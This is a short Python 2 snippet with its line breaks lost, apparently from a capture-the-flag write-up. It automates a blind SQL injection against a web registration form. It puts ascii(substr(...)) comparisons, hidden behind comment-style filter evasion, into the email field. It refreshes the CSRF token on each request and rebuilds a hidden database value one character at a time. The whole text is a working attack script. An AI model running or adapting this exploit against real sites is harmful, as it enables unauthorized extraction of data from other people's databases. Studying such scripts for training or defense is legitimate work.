for i inrange(1,100): for j inrange(32,127): payload = "test'/**/or/**/ascii(substr("+ data +",%d,1))=%d#/**/@chybeta.com" % (i,j) post_data = { 'csrf_token': token, 'username': 'a', 'email':payload, 'password':'a', 'password2':'a', 'submit':'Register' } r = requests.post(url,data=post_data) soup = BeautifulSoup(r.text,"html5lib") token = soup.find_all(id='csrf_token')[0].get("value") if notice in r.text: result += chr(j) print result break